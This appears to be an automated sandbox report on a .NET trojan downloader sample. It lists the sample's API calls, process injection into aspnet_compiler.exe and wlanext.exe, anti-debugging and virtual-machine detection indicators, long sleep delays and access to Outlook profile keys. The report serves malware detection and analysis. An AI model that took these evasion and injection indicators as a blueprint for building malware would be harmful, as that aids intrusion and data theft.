Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C297A0 NtUnmapViewOfSection,	3_2_00C297A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29760 NtOpenProcess,	3_2_00C29760
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C2A770 NtOpenThread,	3_2_00C2A770
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29770 NtSetInformationFile,	3_2_00C29770
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C2A710 NtOpenProcessToken,	3_2_00C2A710
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29730 NtQueryVirtualMemory,	3_2_00C29730
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017C8A0 NtReadFile,	3_2_0017C8A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017C8F0 NtDeleteFile,	3_2_0017C8F0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017C920 NtClose,	3_2_0017C920
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017C9D0 NtAllocateVirtualMemory,	3_2_0017C9D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017C7F0 NtCreateFile,	3_2_0017C7F0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017C8EA NtDeleteFile,	3_2_0017C8EA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017C9CA NtAllocateVirtualMemory,	3_2_0017C9CA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017C7EA NtCreateFile,	3_2_0017C7EA

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000000.305773304.0000000000152000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000000.305780381.000000000015A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameXVXBDDGDGGDG.exe: vs SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314406799.00000000024D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.315681620.00000000054F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameFREAKYFRIDAY.dll: vs SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314973522.00000000026B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314925377.0000000002677000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFREAKYFRIDAY.dll: vs SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314925377.0000000002677000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314961698.00000000026A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314944640.0000000002693000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314190423.0000000000AC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Binary or memory string: OriginalFilenameXVXBDDGDGGDG.exe: vs SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Static PE information: invalid certificate

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

ReversingLabs: Detection: 21%

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\wlanext.exe C:\Windows\SysWOW64\wlanext.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C3EE638-B588-4D7D-B30A-E7E36759305D}\InprocServer32

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe.log

Source: C:\Windows\SysWOW64\wlanext.exe

File created: C:\Users\user\AppData\Local\Temp\d01F736L

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/2@7/6

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\wlanext.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\XVXBDDGDGGDG.pdb source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source:	Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\FREAKYFRIDAY.pdbBSJB source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.315681620.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314925377.0000000002677000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: aspnet_compiler.exe, 00000001.00000002.400368795.0000000001170000.00000040.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000003.314711737.0000000000FD7000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000003.312969278.0000000000E34000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.572830036.0000000000CDF000.00000040.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000003.399528771.0000000000888000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.572246911.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000003.402502298.0000000000A29000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: aspnet_compiler.exe, aspnet_compiler.exe, 00000001.00000002.400368795.0000000001170000.00000040.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000003.314711737.0000000000FD7000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000003.312969278.0000000000E34000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, wlanext.exe, 00000003.00000002.572830036.0000000000CDF000.00000040.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000003.399528771.0000000000888000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.572246911.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000003.402502298.0000000000A29000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\FREAKYFRIDAY.pdb source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.315681620.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314925377.0000000002677000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: aspnet_compiler.pdb source: wlanext.exe, 00000003.00000002.571563301.000000000078D000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573238530.0000000003073000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\XVXBDDGDGGDG.pdbBSJB source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011ED0D1 push ecx; ret	1_2_011ED0E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0042125C push eax; ret	1_2_004212AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_004212A9 push eax; ret	1_2_004212AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_004212B2 push eax; ret	1_2_00421319
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_00421313 push eax; ret	1_2_00421319
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0040A33F push ebx; ret	1_2_0040A342
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C3D0D1 push ecx; ret	3_2_00C3D0E4
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017FB25 push eax; ret	3_2_0017FB78
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017FB72 push eax; ret	3_2_0017FB78
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017FB7B push eax; ret	3_2_0017FBE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017FBDC push eax; ret	3_2_0017FBE2

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Static PE information: real checksum: 0xe68c should be: 0x1f7d1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe TID: 396	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe TID: 5136	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe TID: 476	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wlanext.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Code function: 1_2_01265BA5 rdtsc

1_2_01265BA5

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

API coverage: 8.6 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00172D50 FindFirstFileW,FindNextFileW,FindClose,		3_2_00172D50
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00172D49 FindFirstFileW,FindNextFileW,FindClose,		3_2_00172D49

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Thread delayed: delay time: 922337203685477

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: explorer.exe, 00000002.00000000.359783979.000000000834F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000006
Source: explorer.exe, 00000002.00000000.388144851.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000002.00000000.323177596.00000000059F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b
Source: explorer.exe, 00000002.00000000.329224317.0000000008394000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.331938122.000000000CDC8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: _VMware_SATA_CD00#5&
Source: explorer.exe, 00000002.00000000.389334896.000000000856B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.388144851.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000000

Anti Debugging

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Code function: 0_2_00AA2AC8 CheckRemoteDebuggerPresent,

0_2_00AA2AC8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Code function: 1_2_01265BA5 rdtsc

1_2_01265BA5

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01199100 mov eax, dword ptr fs:[00000030h]	1_2_01199100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01199100 mov eax, dword ptr fs:[00000030h]	1_2_01199100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01199100 mov eax, dword ptr fs:[00000030h]	1_2_01199100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C513A mov eax, dword ptr fs:[00000030h]	1_2_011C513A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C513A mov eax, dword ptr fs:[00000030h]	1_2_011C513A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011B4120 mov eax, dword ptr fs:[00000030h]	1_2_011B4120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011B4120 mov eax, dword ptr fs:[00000030h]	1_2_011B4120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011B4120 mov eax, dword ptr fs:[00000030h]	1_2_011B4120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011B4120 mov eax, dword ptr fs:[00000030h]	1_2_011B4120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011B4120 mov ecx, dword ptr fs:[00000030h]	1_2_011B4120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011BB944 mov eax, dword ptr fs:[00000030h]	1_2_011BB944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011BB944 mov eax, dword ptr fs:[00000030h]	1_2_011BB944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119B171 mov eax, dword ptr fs:[00000030h]	1_2_0119B171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119B171 mov eax, dword ptr fs:[00000030h]	1_2_0119B171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119C962 mov eax, dword ptr fs:[00000030h]	1_2_0119C962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012169A6 mov eax, dword ptr fs:[00000030h]	1_2_012169A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C2990 mov eax, dword ptr fs:[00000030h]	1_2_011C2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011BC182 mov eax, dword ptr fs:[00000030h]	1_2_011BC182
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CA185 mov eax, dword ptr fs:[00000030h]	1_2_011CA185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012151BE mov eax, dword ptr fs:[00000030h]	1_2_012151BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012151BE mov eax, dword ptr fs:[00000030h]	1_2_012151BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012151BE mov eax, dword ptr fs:[00000030h]	1_2_012151BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012151BE mov eax, dword ptr fs:[00000030h]	1_2_012151BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C61A0 mov eax, dword ptr fs:[00000030h]	1_2_011C61A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C61A0 mov eax, dword ptr fs:[00000030h]	1_2_011C61A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012241E8 mov eax, dword ptr fs:[00000030h]	1_2_012241E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119B1E1 mov eax, dword ptr fs:[00000030h]	1_2_0119B1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119B1E1 mov eax, dword ptr fs:[00000030h]	1_2_0119B1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119B1E1 mov eax, dword ptr fs:[00000030h]	1_2_0119B1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011AB02A mov eax, dword ptr fs:[00000030h]	1_2_011AB02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011AB02A mov eax, dword ptr fs:[00000030h]	1_2_011AB02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011AB02A mov eax, dword ptr fs:[00000030h]	1_2_011AB02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011AB02A mov eax, dword ptr fs:[00000030h]	1_2_011AB02A
